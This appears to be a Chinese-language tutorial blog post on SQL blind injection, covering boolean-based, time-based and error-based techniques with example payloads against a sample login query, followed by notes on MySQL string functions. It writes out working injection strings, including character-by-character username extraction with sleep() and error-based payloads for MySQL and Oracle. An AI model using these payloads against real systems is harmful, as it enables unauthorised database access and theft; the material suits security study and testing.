SQL盲注

时间:2019-03-14
本文章向大家介绍SQL盲注,主要包括SQL盲注使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

如果数据库运行返回结果时只反馈对错不会返回数据库当中的信息
此时可以采用逻辑判断是否正确的盲注来获取信息

盲注是不能通过直接显示的途径来获取数据库数据的方法
1.布尔盲注
2.时间盲注
3.报错型盲注

布尔盲注
某些查询是不需要返回结果的,金判断查询语句是否正确执行,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false.

SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
	注入语句
	name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' 
	name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' 
	name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' 
	name=-1' and (select mid(u_name,4,1) from member where userid=1)='i’
	name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'

时间盲注
布尔盲注的关键字符带不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句

 SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;

注入语句

	name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and (select sleep(3)) 
	name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3)) 
	name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3)) 
	name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3)) 
	name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3)

常见报错注入函数
left(a,b)从左侧截取 a 的前 b 位:left(database(),1)>‘s’ substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101# mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位:

floor(Mysql): and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 

Extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_sc hema.tables limit 1))); 

Updatexml(Mysql) :and 1=(updatexml(1,concat(0x3a,(select user())),1)) EXP: Exp(~(select * from (select user())a)) 

UTL_INADDR.get_host_address(Oracle): and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1)) 

left(a,b)函数
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。 LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串
length是一个正整数,指定将从左边返回的字符数
length为0或为负,则LEFT返回一个空字符串 length大于str字符串的长度,则LEFT返回整个str字符串
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:length: 一个汉 字是算三个字符,一个数字或字母算一个字符。char_length: 不管汉字还是数字或者是字母都算是一个字 符。
这意味着,对于包含五个两字节字符的字符串,LENGTH() 返回10, 而CHAR_LENGTH() 返回5
SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。

cast()和convert()函数
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
ifnull()函数
IFNULL(A,B)意义是当字段A是NULL时取B,不是NULL时取A的值。